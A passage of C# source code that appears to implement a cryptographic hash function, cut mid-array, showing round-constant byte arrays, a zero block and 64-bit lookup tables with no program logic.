(byte)0xe1, (byte)0xa0, (byte)0x5d, (byte)0x71, (byte)0xe4, (byte)0xdd, (byte)0x48, (byte)0x8e, (byte)0x85, (byte)0x7e, (byte)0x33, (byte)0x5c, (byte)0x3c, (byte)0x7d, (byte)0x9d, (byte)0x72, (byte)0x1c, (byte)0xad, (byte)0x68, (byte)0x5e, (byte)0x35, (byte)0x3f, (byte)0xa9, (byte)0xd7, (byte)0x2c, (byte)0x82, (byte)0xed, (byte)0x03, (byte)0xd6, (byte)0x75, (byte)0xd8, (byte)0xb7, (byte)0x13, (byte)0x33, (byte)0x93, (byte)0x52, (byte)0x03, (byte)0xbe, (byte)0x34, (byte)0x53, (byte)0xea, (byte)0xa1, (byte)0x93, (byte)0xe8, (byte)0x37, (byte)0xf1, (byte)0x22, (byte)0x0c, (byte)0xbe, (byte)0xbc, (byte)0x84, (byte)0xe3, (byte)0xd1, (byte)0x2e}, new byte[] { (byte)0x4b, (byte)0xea, (byte)0x6b, (byte)0xac, (byte)0xad, (byte)0x47, (byte)0x47, (byte)0x99, (byte)0x9a, (byte)0x3f, (byte)0x41, (byte)0x0c, (byte)0x6c, (byte)0xa9, (byte)0x23, (byte)0x63, (byte)0x7f, (byte)0x15, (byte)0x1c, (byte)0x1f, (byte)0x16, (byte)0x86, (byte)0x10, (byte)0x4a, (byte)0x35, (byte)0x9e, (byte)0x35, (byte)0xd7, (byte)0x80, (byte)0x0f, (byte)0xff, (byte)0xbd, (byte)0xbf, (byte)0xcd, (byte)0x17, (byte)0x47, (byte)0x25, (byte)0x3a, (byte)0xf5, (byte)0xa3, (byte)0xdf, (byte)0xff, (byte)0x00, (byte)0xb7, (byte)0x23, (byte)0x27, (byte)0x1a, (byte)0x16, (byte)0x7a, (byte)0x56, (byte)0xa2, (byte)0x7e, (byte)0xa9, (byte)0xea, (byte)0x63, (byte)0xf5, (byte)0x60, (byte)0x17, (byte)0x58, (byte)0xfd, (byte)0x7c, (byte)0x6c, (byte)0xfe, (byte)0x57}, new byte[]{ (byte)0xae, (byte)0x4f, (byte)0xae, (byte)0xae, (byte)0x1d, (byte)0x3a, (byte)0xd3, (byte)0xd9, (byte)0x6f, (byte)0xa4, (byte)0xc3, (byte)0x3b, (byte)0x7a, (byte)0x30, (byte)0x39, (byte)0xc0, (byte)0x2d, (byte)0x66, (byte)0xc4, (byte)0xf9, (byte)0x51, (byte)0x42, (byte)0xa4, (byte)0x6c, (byte)0x18, (byte)0x7f, (byte)0x9a, (byte)0xb4, (byte)0x9a, (byte)0xf0, (byte)0x8e, (byte)0xc6, (byte)0xcf, (byte)0xfa, (byte)0xa6, (byte)0xb7, (byte)0x1c, (byte)0x9a, (byte)0xb7, (byte)0xb4, (byte)0x0a, (byte)0xf2, (byte)0x1f, (byte)0x66, (byte)0xc2, (byte)0xbe, (byte)0xc6, (byte)0xb6, (byte)0xbf, (byte)0x71, (byte)0xc5, (byte)0x72, (byte)0x36, (byte)0x90, (byte)0x4f, (byte)0x35, (byte)0xfa, (byte)0x68, (byte)0x40, (byte)0x7a, (byte)0x46, (byte)0x64, (byte)0x7d, (byte)0x6e}, new byte[] { (byte)0xf4, (byte)0xc7, (byte)0x0e, (byte)0x16, (byte)0xee, (byte)0xaa, (byte)0xc5, (byte)0xec, (byte)0x51, (byte)0xac, (byte)0x86, (byte)0xfe, (byte)0xbf, (byte)0x24, (byte)0x09, (byte)0x54, (byte)0x39, (byte)0x9e, (byte)0xc6, (byte)0xc7, (byte)0xe6, (byte)0xbf, (byte)0x87, (byte)0xc9, (byte)0xd3, (byte)0x47, (byte)0x3e, (byte)0x33, (byte)0x19, (byte)0x7a, (byte)0x93, (byte)0xc9, (byte)0x09, (byte)0x92, (byte)0xab, (byte)0xc5, (byte)0x2d, (byte)0x82, (byte)0x2c, (byte)0x37, (byte)0x06, (byte)0x47, (byte)0x69, (byte)0x83, (byte)0x28, (byte)0x4a, (byte)0x05, (byte)0x04, (byte)0x35, (byte)0x17, (byte)0x45, (byte)0x4c, (byte)0xa2, (byte)0x3c, (byte)0x4a, (byte)0xf3, (byte)0x88, (byte)0x86, (byte)0x56, (byte)0x4d, (byte)0x3a, (byte)0x14, (byte)0xd4, (byte)0x93}, new byte[] { (byte)0x9b, (byte)0x1f, (byte)0x5b, (byte)0x42, (byte)0x4d, (byte)0x93, (byte)0xc9, (byte)0xa7, (byte)0x03, (byte)0xe7, (byte)0xaa, (byte)0x02, (byte)0x0c, (byte)0x6e, (byte)0x41, (byte)0x41, (byte)0x4e, (byte)0xb7, (byte)0xf8, (byte)0x71, (byte)0x9c, (byte)0x36, (byte)0xde, (byte)0x1e, (byte)0x89, (byte)0xb4, (byte)0x44, (byte)0x3b, (byte)0x4d, (byte)0xdb, (byte)0xc4, (byte)0x9a, (byte)0xf4, (byte)0x89, (byte)0x2b, (byte)0xcb, (byte)0x92, (byte)0x9b, (byte)0x06, (byte)0x90, (byte)0x69, (byte)0xd1, (byte)0x8d, (byte)0x2b, (byte)0xd1, (byte)0xa5, (byte)0xc4, (byte)0x2f, (byte)0x36, (byte)0xac, (byte)0xc2, (byte)0x35, (byte)0x59, (byte)0x51, (byte)0xa8, (byte)0xd9, (byte)0xa4, (byte)0x7f, (byte)0x0d, (byte)0xd4, (byte)0xbf, (byte)0x02, (byte)0xe7, (byte)0x1e}, new byte[]{ (byte)0x37, (byte)0x8f, (byte)0x5a, (byte)0x54, (byte)0x16, (byte)0x31, (byte)0x22, (byte)0x9b, (byte)0x94, (byte)0x4c, (byte)0x9a, (byte)0xd8, (byte)0xec, (byte)0x16, (byte)0x5f, (byte)0xde, (byte)0x3a, (byte)0x7d, (byte)0x3a, (byte)0x1b, (byte)0x25, (byte)0x89, (byte)0x42, (byte)0x24, (byte)0x3c, (byte)0xd9, (byte)0x55, (byte)0xb7, (byte)0xe0, (byte)0x0d, (byte)0x09, (byte)0x84, (byte)0x80, (byte)0x0a, (byte)0x44, (byte)0x0b, (byte)0xdb, (byte)0xb2, (byte)0xce, (byte)0xb1, (byte)0x7b, (byte)0x2b, (byte)0x8a, (byte)0x9a, (byte)0xa6, (byte)0x07, (byte)0x9c, (byte)0x54, (byte)0x0e, (byte)0x38, (byte)0xdc, (byte)0x92, (byte)0xcb, (byte)0x1f, (byte)0x2a, (byte)0x60, (byte)0x72, (byte)0x61, (byte)0x44, (byte)0x51, (byte)0x83, (byte)0x23, (byte)0x5a, (byte)0xdb}, new byte[] { (byte)0xab, (byte)0xbe, (byte)0xde, (byte)0xa6, (byte)0x80, (byte)0x05, (byte)0x6f, (byte)0x52, (byte)0x38, (byte)0x2a, (byte)0xe5, (byte)0x48, (byte)0xb2, (byte)0xe4, (byte)0xf3, (byte)0xf3, (byte)0x89, (byte)0x41, (byte)0xe7, (byte)0x1c, (byte)0xff, (byte)0x8a, (byte)0x78, (byte)0xdb, (byte)0x1f, (byte)0xff, (byte)0xe1, (byte)0x8a, (byte)0x1b, (byte)0x33, (byte)0x61, (byte)0x03, (byte)0x9f, (byte)0xe7, (byte)0x67, (byte)0x02, (byte)0xaf, (byte)0x69, (byte)0x33, (byte)0x4b, (byte)0x7a, (byte)0x1e, (byte)0x6c, (byte)0x30, (byte)0x3b, (byte)0x76, (byte)0x52, (byte)0xf4, (byte)0x36, (byte)0x98, (byte)0xfa, (byte)0xd1, (byte)0x15, (byte)0x3b, (byte)0xb6, (byte)0xc3, (byte)0x74, (byte)0xb4, (byte)0xc7, (byte)0xfb, (byte)0x98, (byte)0x45, (byte)0x9c, (byte)0xed}, new byte[] { (byte)0x7b, (byte)0xcd, (byte)0x9e, (byte)0xd0, (byte)0xef, (byte)0xc8, (byte)0x89, (byte)0xfb, (byte)0x30, (byte)0x02, (byte)0xc6, (byte)0xcd, (byte)0x63, (byte)0x5a, (byte)0xfe, (byte)0x94, (byte)0xd8, (byte)0xfa, (byte)0x6b, (byte)0xbb, (byte)0xeb, (byte)0xab, (byte)0x07, (byte)0x61, (byte)0x20, (byte)0x01, (byte)0x80, (byte)0x21, (byte)0x14, (byte)0x84, (byte)0x66, (byte)0x79, (byte)0x8a, (byte)0x1d, (byte)0x71, (byte)0xef, (byte)0xea, (byte)0x48, (byte)0xb9, (byte)0xca, (byte)0xef, (byte)0xba, (byte)0xcd, (byte)0x1d, (byte)0x7d, (byte)0x47, (byte)0x6e, (byte)0x98, (byte)0xde, (byte)0xa2, (byte)0x59, (byte)0x4a, (byte)0xc0, (byte)0x6f, (byte)0xd8, (byte)0x5d, (byte)0x6b, (byte)0xca, (byte)0xa4, (byte)0xcd, (byte)0x81, (byte)0xf3, (byte)0x2d, (byte)0x1b}, new byte[] { (byte)0x37, (byte)0x8e, (byte)0xe7, (byte)0x67, (byte)0xf1, (byte)0x16, (byte)0x31, (byte)0xba, (byte)0xd2, (byte)0x13, (byte)0x80, (byte)0xb0, (byte)0x04, (byte)0x49, (byte)0xb1, (byte)0x7a, (byte)0xcd, (byte)0xa4, (byte)0x3c, (byte)0x32, (byte)0xbc, (byte)0xdf, (byte)0x1d, (byte)0x77, (byte)0xf8, (byte)0x20, (byte)0x12, (byte)0xd4, (byte)0x30, (byte)0x21, (byte)0x9f, (byte)0x9b, (byte)0x5d, (byte)0x80, (byte)0xef, (byte)0x9d, (byte)0x18, (byte)0x91, (byte)0xcc, (byte)0x86, (byte)0xe7, (byte)0x1d, (byte)0xa4, (byte)0xaa, (byte)0x88, (byte)0xe1, (byte)0x28, (byte)0x52, (byte)0xfa, (byte)0xf4, (byte)0x17, (byte)0xd5, (byte)0xd9, (byte)0xb2, (byte)0x1b, (byte)0x99, (byte)0x48, (byte)0xbc, (byte)0x92, (byte)0x4a, (byte)0xf1, (byte)0x1b, (byte)0xd7, (byte)0x20} }; private static readonly byte[] Zero = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; private readonly static ulong[][] T = { new ulong[] { 0xE6F87E5C5B711FD0L, 0x258377800924FA16L, 0xC849E07E852EA4A8L, 0x5B4686A18F06C16AL, 0x0B32E9A2D77B416EL, 0xABDA37A467815C66L, 0xF61796A81A686676L, 0xF5DC0B706391954BL, 0x4862F38DB7E64BF1L, 0xFF5C629A68BD85C5L, 0xCB827DA6FCD75795L, 0x66D36DAF69B9F089L, 0x356C9F74483D83B0L, 0x7CBCECB1238C99A1L, 0x36A702AC31C4708DL, 0x9EB6A8D02FBCDFD6L, 0x8B19FA51E5B3AE37L, 0x9CCFB5408A127D0BL, 0xBC0C78B508208F5AL, 0xE533E3842288ECEDL, 0xCEC2C7D377C15FD2L, 0xEC7817B6505D0F5EL, 0xB94CC2C08336871DL, 0x8C205DB4CB0B04ADL, 0x763C855B28A0892FL, 0x588D1B79F6FF3257L, 0x3FECF69E4311933EL, 0x0FC0D39F803A18C9L, 0xEE010A26F5F3AD83L, 0x10EFE8F4411979A6L, 0x5DCDA10C7DE93A10L, 0x4A1BEE1D1248E92CL, 0x53BFF2DB21847339L, 0xB4F50CCFA6A23D09L, 0x5FB4BC9CD84798CDL, 0xE88A2D8B071C56F9L, 0x7F7771695A756A9CL, 0xC5F02E71A0BA1EBCL, 0xA663F9AB4215E672L, 0x2EB19E22DE5FBB78L, 0x0DB9CE0F2594BA14L, 0x82520E6397664D84L, 0x2F031E6A0208EA98L, 0x5C7F2144A1BE6BF0L, 0x7A37CB1CD16362DBL, 0x83E08E2B4B311C64L, 0xCF70479BAB960E32L, 0x856BA986B9DEE71EL, 0xB5478C877AF56CE9L, 0xB8FE42885F61D6FDL, 0x1BDD0156966238C8L, 0x622157923EF8A92EL, 0xFC97FF42114476F8L, 0x9D7D350856452CEBL, 0x4C90C9B0E0A71256L, 0x2308502DFBCB016CL, 0x2D7A03FAA7A64845L, 0xF46E8B38BFC6C4ABL, 0xBDBEF8FDD477DEBAL, 0x3AAC4CEBC8079B79L, 0xF09CB105E8879D0CL, 0x27FA6A10AC8A58CBL, 0x8960E7C1401D0CEAL, 0x1A6F811E4A356928L, 0x90C4FB0773D196FFL, 0x43501A2F609D0A9FL, 0xF7A516E0C63F3796L, 0x1CE4A6B3B8DA9252L, 0x1324752C38E08A9BL, 0xA5A864733BEC154FL, 0x2BF124575549B33FL, 0xD766DB15440DC5C7L, 0xA7D179E39E42B792L, 0xDADF151A61997FD3L, 0x86A0345EC0271423L, 0x38D5517B6DA939A4L, 0x6518F077104003B4L, 0x02791D90A5AEA2DDL, 0x88D267899C4A5D0AL, 0x930F66DF0A2865C2L, 0x4EE9D4204509B08BL, 0x325538916685292AL, 0x412907BFC533A842L, 0xB27E2B62544DC673L, 0x6C5304456295E007L, 0x5AF406E95351908AL, 0x1F2F3B6BC123616FL, 0xC37B09DC5255E5C6L, 0x3967D133B1FE6844L, 0x298839C7F0E711E2L, 0x409B87F71964F9A2L, 0xE938ADC3DB4B0719L, 0x0C0B4E47F9C3EBF4L, 0x5534D576D36B8843L, 0x4610A05AEB8B02D8L, 0x20C3CDF58232F251L, 0x6DE1840DBEC2B1E7L, 0xA0E8DE06B0FA1D08L, 0x7B854B540D34333BL, 0x42E29A67BCCA5B7FL, 0xD8A6088AC437DD0EL, 0xC63BB3A9D943ED81L, 0x21714DBD5E65A3B1L, 0x6761EDE7B5EEA169L, 0x2431F7C8D573ABF6L, 0xD51FC685E1A3671AL, 0x5E063CD40410C92DL, 0x283AB98F2CB04002L, 0x8FEBC06CB2F2F790L, 0x17D64F116FA1D33CL, 0xE07359F1A99EE4AAL, 0x784ED68C74CDC006L, 0x6E2A19D5C73B42DAL, 0x8712B4161C7045C3L, 0x371582E4ED93216DL, 0xACE390414939F6FCL, 0x7EC5F12186223B7CL, 0xC0B094042BAC16FBL, 0xF9D745379A527EBFL, 0x737C3F2EA3B68168L, 0x33E7B8D9BAD278CAL, 0xA9A32A34C22FFEBBL, 0xE48163CCFEDFBD0DL, 0x8E5940246EA5A670L, 0x51C6EF4B842AD1E4L, 0x22BAD065279C508CL, 0xD91488C218608CEEL, 0x319EA5491F7CDA17L, 0xD394E128134C9C60L, 0x094BF43272D5E3B3L, 0x9BF612A5A4AAD791L, 0xCCBBDA43D26FFD0FL, 0x34DE1F3C946AD250L, 0x4F5B5468995EE16BL, 0xDF9FAF6FEA8F7794L, 0x2648EA5870DD092BL, 0xBFC7E56D71D97C67L, 0xDDE6B2FF4F21D549L, 0x3C276B463AE86003L, 0x91767B4FAF86C71FL, 0x68A13E7835D4B9A0L, 0xB68C115F030C9FD4L, 0x141DD2C916582001L, 0x983D8F7DDD5324ACL, 0x64AA703FCC175254L, 0xC2C989948E02B426L, 0x3E5E76D69F46C2DEL, 0x50746F03587D8004L, 0x45DB3D829272F1E5L, 0x60584A029B560BF3L, 0xFBAE58A73FFCDC62L, 0xA15A5E4E6CAD4CE8L, 0x4BA96E55CE1FB8CCL, 0x08F9747AAE82B253L, 0xC102144CF7FB471BL, 0x9F042898F3EB8E36L, 0x068B27ADF2EFFB7AL, 0xEDCA97FE8C0A5EBEL, 0x778E0513F4F7D8CFL, 0x302C2501C32B8BF7L, 0x8D92DDFC175C554DL, 0xF865C57F46052F5FL, 0xEAF3301BA2B2F424L, 0xAA68B7ECBBD60D86L, 0x998F0F350104754CL, 0x0000000000000000L, 0xF12E314D34D0CCECL, 0x710522BE061823B5L, 0xAF280D9930C005C1L, 0x97FD5CE25D693C65L, 0x19A41CC633CC9A15L, 0x95844172F8C79EB8L, 0xDC5432B7937684A9L, 0x9436C13A2490CF58L, 0x802B13F332C8EF59L, 0xC442AE397CED4F5CL, 0xFA1CD8EFE3AB8D82L, 0xF2E5AC954D293FD1L, 0x6AD823E8907A1B7DL, 0x4D2249F83CF043B6L, 0x03CB9DD879F9F33DL, 0xDE2D2F2736D82674L, 0x2A43A41F891EE2DFL, 0x6F98999D1B6C133AL, 0xD4AD46CD3DF436FAL, 0xBB35DF50269825C0L, 0x964FDCAA813E6D85L, 0xEB41B0537EE5A5C4L, 0x0540BA758B160847L, 0xA41AE43BE7BB44AFL, 0xE3B8C429D0671797L, 0x819993BBEE9FBEB9L, 0xAE9A8DD1EC975421L, 0xF3572CDD917E6E31L, 0x6393D7DAE2AFF8CEL, 0x47A2201237DC5338L, 0xA32343DEC903EE35L, 0x79FC56C4A89A91E6L, 0x01B28048DC5751E0L, 0x1296F564E4B7DB7BL, 0x75F7188351597A12L, 0xDB6D9552BDCE2E33L, 0x1E9DBB231D74308FL, 0x520D7293FDD322D9L, 0xE20A44610C304677L, 0xFEEEE2D2B4EAD425L, 0xCA30FDEE20800675L, 0x61EACA4A47015A13L, 0xE74AFE1487264E30L, 0x2CC883B27BF119A5L, 0x1664CF59B3F682DCL, 0xA811AA7C1E78AF5BL, 0x1D5626FB648DC3B2L, 0xB73E9117DF5BCE34L, 0xD05F7CF06AB56F5DL, 0xFD257F0ACD132718L, 0x574DC8E676C52A9EL, 0x0739A7E52EB8AA9AL, 0x5486553E0F3CD9A3L, 0x56FF48AEAA927B7EL, 0xBE756525AD8E2D87L, 0x7D0E6CF9FFDBC841L, 0x3B1ECCA31450CA99L, 0x6913BE30E983E840L, 0xAD511009956EA71CL, 0xB1B5B6BA2DB4354EL, 0x4469BDCA4E25A005L, 0x15AF5281CA0F71E1L, 0x744598CB8D0E2BF2L, 0x593F9B312AA863B7L, 0xEFB38A6E29A4FC63L, 0x6B6AA3A04C2D4A9DL, 0x3D95EB0EE6BF31E3L, 0xA291C3961554BFD5L, 0x18169C8EEF9BCBF5L, 0x115D68BC9D4E2846L, 0xBA875F18FACF7420L, 0xD1EDFCB8B6E23EBDL, 0xB00736F2F1E364AEL, 0x84D929CE6589B6FEL, 0x70B7A2F6DA4F7255L, 0x0E7253D75C6D4929L, 0x04F23A3D574159A7L, 0x0A8069EA0B2C108EL, 0x49D073C56BB11A11L, 0x8AAB7A1939E4FFD7L, 0xCD095A0B0E38ACEFL, 0xC9FB60365979F548L, 0x92BDE697D67F3422L, 0xC78933E10514BC61L, 0xE1C1D9B975C9B54AL, 0xD2266160CF1BCD80L, 0x9A4492ED78FD8671L, 0xB3CCAB2A881A9793L, 0x72CEBF667FE1D088L, 0xD6D45B5D985A9427L }, new ulong[]{ 0xC811A8058C3F55DEL, 0x65F5B43196B50619L, 0xF74F96B1D6706E43L, 0x859D1E8BCB43D336L, 0x5AAB8A85CCFA3D84L, 0xF9C7BF99C295FCFDL, 0xA21FD5A1DE4B630FL, 0xCDB3EF763B8B456DL, 0x803F59F87CF7C385L, 0xB27C73BE5F31913CL, 0x98E3AC6633B04821L, 0xBF61674C26B8F818L, 0x0FFBC995C4C130C8L, 0xAAA0862010761A98L, 0x6057F342210116AAL, 0xF63C760C0654CC35L, 0x2DDB45CC667D9042L, 0xBCF45A964BD40382L, 0x68E8A0C3EF3C6F3DL, 0xA7BD92D269FF73BCL, 0x290AE20201ED2287L, 0xB7DE34CDE885818FL, 0xD901EEA7DD61059BL, 0xD6FA273219A03553L, 0xD56F1AE874CCCEC9L, 0xEA31245C2E83F554L, 0x7034555DA07BE499L, 0xCE26D2AC56E7BEF7L, 0xFD161857A5054E38L, 0x6A0E7DA4527436D1L, 0x5BD86A381CDE9FF2L, 0xCAF7756231770C32L, 0xB09AAED9E279C8D0L, 0x5DEF1091C60674DBL, 0x111046A2515E5045L, 0x23536CE4729802FCL, 0xC50CBCF7F5B63CFAL, 0x73A16887CD171F03L, 0x7D2941AFD9F28DBDL, 0x3F5E3EB45A4F3B9DL, 0x84EEFE361B677140L, 0x3DB8E3D3E7076271L, 0x1A3A28F9F20FD248L, 0x7EBC7C75B49E7627L, 0x74E5F293C7EB565CL, 0x18DCF59E4F478BA4L, 0x0C6EF44FA9ADCB52L, 0xC699812D98DAC760L, 0x788B06DC6E469D0EL, 0xFC65F8EA7521EC4EL, 0x30A5F7219E8E0B55L, 0x2BEC3F65BCA57B6BL, 0xDDD04969BAF1B75EL, 0x99904CDBE394EA57L, 0x14B201D1E6EA40F6L, 0xBBB0C08241284ADDL, 0x50F20463BF8F1DFFL, 0xE8D7F93B93CBACB8L, 0x4D8CB68E477C86E8L, 0xC1DD1B3992268E3FL, 0x7C5AA11209D62FCBL, 0x2F3D98ABDB35C9AEL, 0x671369562BFD5FF5L, 0x15C1E16C36CEE280L, 0x1D7EB2EDF8F39B17L, 0xDA94D37DB00DFE01L, 0x877BC3EC760B8ADAL, 0xCB8495DFE153AE44L, 0x05A24773B7B410B3L, 0x12857B783C32ABDFL, 0x8EB770D06812513BL, 0x536739B9D2E3E665L, 0x584D57E271B26468L, 0xD789C78FC9849725L, 0xA935BBFA7D1AE102L, 0x8B1537A3DFA64188L, 0xD0CD5D9BC378DE7AL, 0x4AC82C9A4D80CFB7L, 0x42777F1B83BDB620L, 0x72D2883A1D33BD75L, 0x5E7A2D4BAB6A8F41L, 0xF4DAAB6BBB1C95D9L, 0x905CFFE7FD8D31B6L, 0x83AA6422119B381FL, 0xC0AEFB8442022C49L, 0xA0F908C663033AE3L, 0xA428AF0804938826L, 0xADE41C341A8A53C7L, 0xAE7121EE77E6A85DL, 0xC47F5C4A25929E8CL, 0xB538E9AA55CDD863L, 0x06377AA9DAD8EB29L, 0xA18AE87BB3279895L, 0x6EDFDA6A35E48414L, 0x6B7D9D19825094A7L, 0xD41CFA55A4E86CBFL, 0xE5CAEDC9EA42C59CL, 0xA36C351C0E6FC179L, 0x5181E4DE6FABBF89L, 0xFFF0C530184D17D4L, 0x9D41EB1584045892L, 0x1C0D525028D73961L, 0xF178EC180CA8856AL, 0x9A0571018EF811CDL, 0x4091A27C3EF5EFCCL, 0x19AF15239F6329D2L, 0x347450EFF91EB990L, 0xE11B4A078DD27759L, 0xB9561DE5FC601331L, 0x912F1F5A2DA993C0L, 0x1654DCB65BA2191AL, 0x3E2DDE098A6B99EBL, 0x8A66D71E0F82E3FEL, 0x8C51ADB7D55A08D7L, 0x4533E50F8941FF7FL, 0x02E6DD67BD4859ECL, 0xE068AABA5DF6D52FL, 0xC24826E3FF4A75A5L, 0x6C39070D88ACDDF8L, 0x6486548C4691A46FL, 0xD1BEBD26135C7C0CL, 0xB30F93038F15334AL, 0x82D9849FC1BF9A69L, 0x9C320BA85420FAE4L, 0xFA528243AFF90767L, 0x9ED4D6CFE968A308L, 0xB825FD582C44B147L, 0x9B7691BC5EDCB3BBL, 0xC7EA619048FE6516L, 0x1063A61F817AF233L, 0x47D538683409A693L, 0x63C2CE984C6DED30L, 0x2A9FDFD86C81D91DL, 0x7B1E3B06032A6694L, 0x666089EBFBD9FD83L, 0x0A598EE67375207BL, 0x07449A140AFC495FL, 0x2CA8A571B6593234L, 0x1F986F8A45BBC2FBL, 0x381AA4A050B372C2L, 0x5423A3ADD81FAF3AL, 0x17273C0B8B86BB6CL, 0xFE83258DC869B5A2L, 0x287902BFD1C980F1L, 0xF5A94BD66B3837AFL, 0x88800A79B2CABA12L, 0x55504310083B0D4CL, 0xDF36940E07B9EEB2L, 0x04D1A7CE6790B2C5L, 0x612413FFF125B4DCL, 0x26F12B97C52C124FL, 0x86082351A62F28ACL, 0xEF93632F9937E5E7L, 0x3507B052293A1BE6L, 0xE72C30AE570A9C70L, 0xD3586041AE1425E0L, 0xDE4574B3D79D4CC4L, 0x92BA228040C5685AL, 0xF00B0CA5DC8C271CL, 0xBE1287F1F69C5A6EL, 0xF39E317FB1E0DC86L, 0x495D114020EC342DL, 0x699B407E3F18CD4BL, 0xDCA3A9D46AD51528L, 0x0D1D14F279896924L, 0x0000000000000000L, 0x593EB75FA196C61EL, 0x2E4E78160B116BD8L, 0x6D4AE7B058887F8EL, 0xE65FD013872E3E06L, 0x7A6DDBBBD30EC4E2L, 0xAC97FC89CAAEF1B1L, 0x09CCB33C1E19DBE1L, 0x89F3EAC462EE1864L, 0x7770CF49AA87ADC6L, 0x56C57ECA6557F6D6L, 0x03953DDA6D6CFB9AL, 0x36928D884456E07CL, 0x1EEB8F37959F608DL, 0x31D6179C4EAAA923L, 0x6FAC3AD7E5C02662L, 0x43049FA653991456L, 0xABD3669DC052B8EEL, 0xAF02C153A7C20A2BL, 0x3CCB036E3723C007L, 0x93C9C23D90E1CA2CL, 0xC33BC65E2F6ED7D3L, 0x4CFF56339758249EL, 0xB1E94E64325D6AA6L, 0x37E16D359472420AL, 0x79F8E661BE623F78L, 0x5214D90402C74413L, 0x482EF1FDF0C8965BL, 0x13F69BC5EC1609A9L, 0x0E88292814E592BEL, 0x4E198B542A107D72L, 0xCCC00FCBEBAFE71BL, 0x1B49C844222B703EL, 0x2564164DA840E9D5L, 0x20C6513E1FF4F966L, 0xBAC3203F910CE8ABL, 0xF2EDD1C261C47EF0L, 0x814CB945ACD361F3L, 0x95FEB8944A392105L, 0x5C9CF02C1622D6ADL, 0x971865F3F77178E9L, 0xBD87BA2B9BF0A1F4L, 0x444005B259655D09L, 0xED75BE48247FBC0BL, 0x7596122E17CFF42AL, 0xB44B091785E97A15L, 0x966B854E2755DA9FL, 0xEEE0839249134791L, 0x32432A4623C652B9L, 0xA8465B47AD3E4374L, 0xF8B45F2412B15E8BL, 0x2417F6F078644BA3L, 0xFB2162FE7FDDA511L, 0x4BBBCC279DA46DC1L, 0x0173E0BDD024A276L, 0x22208C59A2BCA08AL, 0x8FC4906DB836F34DL, 0xE4B90D743A6667EAL, 0x7147B5E0705F46EFL, 0x2782CB2A1508B039L, 0xEC065EF5F45B1E7DL, 0x21B5B183CFD05B10L, 0xDBE733C060295C77L, 0x9FA73672394C017EL, 0xCF55321186C31C81L, 0xD8720E1A0D45A7EDL, 0x3B8F997A3DDF8958L, 0x3AFC79C7EDFB2B2EL, 0xE9A4198643EF0ECEL, 0x5F09CDF67B4E2D37L, 0x4F6A6BE9FA34DF04L, 0xB6ADD47038A123F9L, 0x8D224D0A057EAAA1L, 0xC96248B85C1BF7A8L, 0xE3FD9760309A2EB5L, 0x0B2A6E5BA351820DL, 0xEB42C4E1FEA75722L, 0x948D58299A1D8373L, 0x7FCF9CC864BAD451L, 0xA55B4FB5D4B72A50L, 0x08BF5381CE3D7997L, 0x46A6D8D5E42D04E5L, 0xD22B80FC7E308796L, 0x57B69E77B57354A0L, 0x3969441D8097D0B4L, 0x3330CAFBF3E2F0CFL, 0xE28E77DDE0BE8CC3L, 0x62B12E259C494F46L, 0xA6CE726FB9DBD1CAL, 0x41E242C1EED14DBAL, 0x76032FF47AA30FB0L }, new ulong[]{ 0x45B268A93ACDE4CCL, 0xAF7F0BE884549D08L, 0x048354B3C1468263L, 0x925435C2C80EFED2L, 0xEE4E37F27FDFFBA7L, 0x167A33920C60F14DL, 0xFB123B52EA03E584L, 0x4A0CAB53FDBB9007L, 0x9DEAF6380F788A19L, 0xCB48EC558F0CB32AL, 0xB59DC4B2D6FEF7E0L, 0xDCDBCA22F4F3ECB6L, 0x11DF5813549A9C40L, 0xE33FDEDF568ACED3L, 0xA0C1C8124322E9C3L, 0x07A56B8158FA6D0DL, 0x77279579B1E1F3DDL, 0xD9B18B74422AC004L, 0xB8EC2D9FFFABC294L, 0xF4ACF8A82D75914FL, 0x7BBF69B1EF2B6878L, 0xC4F62FAF487AC7E1L, 0x76CE809CC67E5D0CL, 0x6711D88F92E4C14CL, 0x627B99D9243DEDFEL, 0x234AA5C3DFB68B51L, 0x909B1F15262DBF6DL, 0x4F66EA054B62BCB5L, 0x1AE2CF5A52AA6AE8L, 0xBEA053FBD0CE0148L, 0xED6808C0E66314C9L, 0x43FE16CD15A82710L, 0xCD049231A06970F6L, 0xE7BC8A6C97CC4CB0L, 0x337CE835FCB3B9C0L, 0x65DEF2587CC780F3L, 0x52214EDE4132BB50L, 0x95F15E4390F493DFL, 0x870839625DD2E0F1L, 0x41313C1AFB8B66AFL, 0x91720AF051B211BCL, 0x477D427ED4EEA573L, 0x2E3B4CEEF6E3BE25L, 0x82627834EB0BCC43L, 0x9C03E3DD78E724C8L, 0x2877328AD9867DF9L, 0x14B51945E243B0F2L, 0x574B0F88F7EB97E2L, 0x88B6FA989AA4943AL, 0x19C4F068CB168586L, 0x50EE6409AF11FAEFL, 0x7DF317D5C04EABA4L, 0x7A567C5498B4C6A9L, 0xB6BBFB804F42188EL, 0x3CC22BCF3BC5CD0BL, 0xD04336EAAA397713L, 0xF02FAC1BEC33132CL, 0x2506DBA7F0D3488DL, 0xD7E65D6BF2C31A1EL, 0x5EB9B2161FF820F5L, 0x842E0650C46E0F9FL, 0x716BEB1D9E843001L, 0xA933758CAB315ED4L, 0x3FE414FDA2792265L, 0x27C9F1701EF00932L, 0x73A4C1CA70A771BEL, 0x94184BA6E76B3D0EL, 0x40D829FF8C14C87EL, 0x0FBEC3FAC77674CBL, 0x3616A9634A6A9572L, 0x8F139119C25EF937L, 0xF545ED4D5AEA3F9EL, 0xE802499650BA387BL, 0x6437E7BD0B582E22L, 0xE6559F89E053E261L, 0x80AD52E305288DFCL, 0x6DC55A23E34B9935L, 0xDE14E0F51AD0AD09L, 0xC6390578A659865EL, 0x96D7617109487CB1L, 0xE2D6CB3A21156002L, 0x01E915E5779FAED1L, 0xADB0213F6A77DCB7L, 0x9880B76EB9A1A6ABL, 0x5D9F8D248644CF9BL, 0xFD5E4536C5662658L, 0xF1C6B9FE9BACBDFDL, 0xEACD6341BE9979C4L, 